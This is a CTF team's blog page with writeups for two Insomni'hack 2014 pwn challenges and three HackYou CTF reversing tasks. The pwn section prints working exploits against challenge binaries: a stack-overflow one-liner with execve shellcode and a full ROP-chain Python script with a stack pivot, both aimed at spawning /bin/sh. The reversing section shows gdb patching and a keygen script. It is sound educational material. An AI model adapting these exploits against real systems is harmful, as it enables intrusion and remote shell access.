To search


w3pwnz, therefore we are

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.


Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 4003


We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:


This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
import sys
import struct
DATA_BASE = 0x08049130
# Step 1: Setup .data with our execve parameters
# 1.1: Recv to .data
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
# 1.2: Send execve parameters & stage2 ropchain
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
sys.stdout.write(args_execve + stage2)
# Step 2: Pivot to .data
# 2.1: Pivot to .data
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
payload = payload.ljust(0x28, "\x00")                    # Padding
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./; cat -)|nc 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Thursday, October 18 2012 16:01

HackYou CTF - Reverse100, Reverse200, Reverse300 Writeups

Reverse 100 - Open-Source

Download file code.c.
Simply read the source...

% ./code `python2 -c 'print 0xcafe'` 25 h4cky0u
Brr wrrr grr
Get your key: c0ffee

Flag: c0ffee

Reverse 200 - LoseYou

Download file

Extract the archive to obtain task2.bin and task2.exe.
I decided to study task2.bin.
The routine to reverse is sub_80483DC.
We quicky notice this:


That's very basic, eax will contain our guessed number, ecx will contain the randomly generated number.
All we need to do is to break on the "cmp eax, ecx" at 08048503 and set eax to ecx.

(gdb) b *0x08048503
Breakpoint 1 at 0x8048503
(gdb) r
Starting program: /tmp/task2.bin 
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
Welcome to the LoseYou lottery!
Generating random.....
Make your guess (number 0 or 1): tg
Breakpoint 1, 0x08048503 in ?? ()
(gdb) set $eax=$ecx
(gdb) c
You... you... win??? so lucky! Grab the flag:
::: oh_you_cheat3r :::
[Inferior 1 (process 27619) exited normally]

Flag: oh_you_cheat3r

Reverse 300 - ashtree

Download file
Once again I decided to study the ELF version: task3.bin.

Step 1 - Unpack

The binary seems to be packed by a modified UPX (at least, UPX string is replaced by LOL...).
Let's trace execution:

% strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 34 vars */]) = 0
[ Process PID=5640 runs in 32 bit mode. ]
getpid()                                = 5640
gettimeofday({1350215641, 677903}, NULL) = 0
unlink("/tmp/upxCRBOGQOAFQI")           = -1 ENOENT (No such file or directory)
open("/tmp/upxCRBOGQOAFQI", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xf775a000
old_mmap(0xf775d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf775d000
munmap(0xfffffffff775a000, 9036)        = 0
close(3)                                = 0
open("/tmp/upxCRBOGQOAFQI", O_RDONLY)   = 3
getpid()                                = 5640
access("/proc/5640/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxCRBOGQOAFQI")           = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
execve("/proc/5640/fd/3", ["./task3.bin"], [/* 41 vars */]) = 0

The binary is unpacking itself into a file "/tmp/upxCRBOGQOAFQI", which is a randomly generated name. Then it is unlinked and executed by execve().

The unlink() function is guaranteed to unlink the file from the file system hierarchy but keep the file on disk until all open instances of the file are closed.

Once the execution is over, the file is deleted, so we need to find the file name, and copy the file elsewhere before it's unlinked. Let's toggle a breakpoint before execve() then.

(gdb) b *0x004024dd
Breakpoint 1 at 0x4024dd
(gdb) r
Starting program: /tmp/task3.bin 
Breakpoint 1, 0x004024dd in ?? ()
(gdb) x/s $ebx
0xffffd494:	"/proc/12767/fd/7"
% file /proc/12767/fd/7
/proc/12767/fd/7: broken symbolic link to `/tmp/upxC5RF3NOAMO5 (deleted)'

Ok! Now we can work on the unpacked binary.

Step 2 - Keygen

Our routine is sub_8048617.
Several conditions must be met:

  • - argv[1] = username
  • - argv[2] = password
  • - username != 'hackyou'
  • - len(password) == 14
  • - password[4] == '-' and password[8] == '-'
  • - sub_804838C(username, password) == True
  • - sub_804844B(username, password[5:]) == True
  • - sub_804850A(username, password[10:]) == True

Although our username must not be 'hackyou', if you take a look at sub_80485F0, the goodboy message, you'll notice it prints "Great! Now submit the license key for 'hackyou'".
sub_804838C, sub_804844B and sub_804850A all proceed in the same way, which finally compares individually 4 bytes of the given password parameter:


Our password character is in edx, the expected one is in eax. Lazy as i am, i didn't go much deeper :)

All we need now is to break on:

.text:0804842B                 cmp     eax, edx

... dump eax, and fix edx so that it will be equal to eax. Same for the two last routines. Let's create a basic pythonGDB script to do the work for us.

import gdb
passwd = ""
passwd_len = 0
def callback_username_condition():
    gdb.execute("set $eax=1")
def callback_compare_password():
    global passwd, passwd_len
    gdb.execute("set $edx=$eax")
    if passwd_len in (4, 9):
        passwd += '-'
        passwd_len += 1
    passwd += chr(gdb.parse_and_eval("$eax"))
    passwd_len += 1
    print "[+]", passwd
class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False
        self.callback = callback
    def stop(self):
        return False
HitBreakpoint("*0x08048665", callback_username_condition)
HitBreakpoint("*0x0804842B", callback_compare_password)
HitBreakpoint("*0x080484EA", callback_compare_password)
HitBreakpoint("*0x080485A9", callback_compare_password)

And run it...

(gdb) source 
Breakpoint 1 at 0x8048665
Breakpoint 2 at 0x804842b
Breakpoint 3 at 0x80484ea
Breakpoint 4 at 0x80485a9
(gdb) r hackyou 0123-4567-8910
Starting program: /tmp/unpacked_rev300 hackyou 0123-4567-8910
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
[+] k
[+] ke
[+] kec
[+] kecc
[+] kecc-h
[+] kecc-ha
[+] kecc-hac
[+] kecc-hack
[+] kecc-hack-y
[+] kecc-hack-yo
[+] kecc-hack-yo0
[+] kecc-hack-yo0u
Great! Now submit the license key for 'hackyou'
[Inferior 1 (process 14524) exited with code 01]

Flag: kecc-hack-yo0u